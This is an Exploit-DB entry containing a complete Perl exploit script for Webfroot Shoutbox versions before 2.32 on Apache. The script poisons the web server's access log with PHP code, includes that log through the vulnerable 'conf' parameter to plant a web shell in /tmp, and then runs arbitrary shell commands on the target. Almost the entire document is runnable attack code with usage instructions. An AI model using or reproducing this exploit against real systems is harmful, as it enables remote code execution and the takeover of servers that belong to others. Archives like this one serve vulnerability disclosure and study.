Exploit-DB #34
Description: Webfroot Shoutbox < 2.32 (Apache) - Local File Inclusion / Remote Code Execution
Type: remote
Platform: linux
Date: 2003-05-29
Author: anonymous

Exploit:
#!/usr/bin/perl
#
# Webfroot Shoutbox < 2.32 on apache exploit
#

use IO::Socket;

my $host = "127.0.0.1";
my $port = 80;
my $shoutbox = "shoutbox.php?conf=";
my $shoutboxpath = "/shoutbox";
my $cmd = "ls -l";
my $conn;
my $type;
my @logs = ( 
"/etc/httpd/logs/acces_log",
"/etc/httpd/logs/acces.log",
"/var/www/logs/access_log",
"/var/www/logs/access.log",
"/usr/local/apache/logs/access_log",
"/usr/local/apache/logs/access.log",
"/var/log/apache/access_log",
"/var/log/apache/access.log",
"/var/log/httpd/access_log",
"/var/log/httpd/access.log",
#"D:/apps/Apache Group/Apache2/logs/access.log" 
);

my $qinit = "GET /<?\$h=fopen('/tmp/.ex','w+');fwrite(\$h,'Result:<pre><?system(\$cmd);?>
</pre>');fclose(\$h);?> HTTP/1.1\nHost: 127.0.0.1\nConnection: Close\n\n";
my $conn;


if ($ARGV[0] eq "x" || $ARGV[0] eq "r"){
$type = $ARGV[0]; 
}
else {
print "[x] Webfroot Shoutbox < 2.32 on apache exploit \n\n";
print "Usage: \n Webfroot.pl (x|r) host [command] [path] [port]\n";
print "\ttype\tx = exploit | r = run command (after run with x option)\n";
print "\thost\thostname\n";
print "\tcommand\tcommand to execute on remote server\n";
print "\tpath\tpath to shoutbox installation ex: /shoutbox\n";
print "\tport\tport number\n";
exit;
}

if ($ARGV[1]){
$host = $ARGV[1]; 
}

if ($ARGV[2]){
$cmd = $ARGV[2]; 
}
if ($ARGV[3]){
$shoutboxpath = $ARGV[3]; 
}
if ($ARGV[4]){
$port = int($ARGV[4]); 
}

$cmd =~ s/ /+/g;

sub connect_to {
#print "[x] Connect to $host on port $port ...\n";
$conn = IO::Socket::INET->new (
Proto => "tcp",
PeerAddr => "$host",
PeerPort => "$port",
) or die "[*] Can't connect to $host on port $port ...\n";
$conn-> autoflush(1);
}

sub connect_end {
#print "[x] Close connection\n";
close($conn);
}

sub exploit {
my $access_log = $_[0];
my $result = "";
$access_log =~ s/ /+/g;
my $query = "GET ${shoutboxpath}/${shoutbox}${access_log} HTTP/1.1\
nHost: $host\nConnection: Close\n\n";
print "$query";
print "[x] Access log : ", $access_log ,"\n";
&connect_to;
print $conn $query;
while ($line = <$conn>) { 
$result = $line;
#print $result;
};
&connect_end;

}

sub run_cmd {
my $conf="/tmp/.ex";
#my $conf="d:/tmp/.ex";
my $result = "";
my $query = "GET ${shoutboxpath}/${shoutbox}${conf}&cmd=$cmd HTTP/1.1\
nHost: $host\nConnection: Close\n\n";

print "[x] Run command ...\n";
&connect_to;
print $conn $query;
while ($line = <$conn>) { 
$result .= $line;
};
&connect_end;
if ($result =~ /Result:/){
print $result;
} else {
print $result;
print "[*] Failed ...";
} 

}

sub insert_code {
my $result = "";
print "[x] Access log : ", $access_log ,"\n";
print "[x] Insert php code into apache access log ...\n";
&connect_to;
print $conn "$qinit";
while ($line = <$conn>) { 
$result .= $line;
};
&connect_end;
print $result; 
}

if ($type eq "x"){
&insert_code;
print "[x] Trying to exploit ...\n";
for ($i = 0;$i <= $#logs; $i++){
&exploit($logs[$i]);
}
&run_cmd;
} else {
&run_cmd;
}



# milw0rm.com [2003-05-29]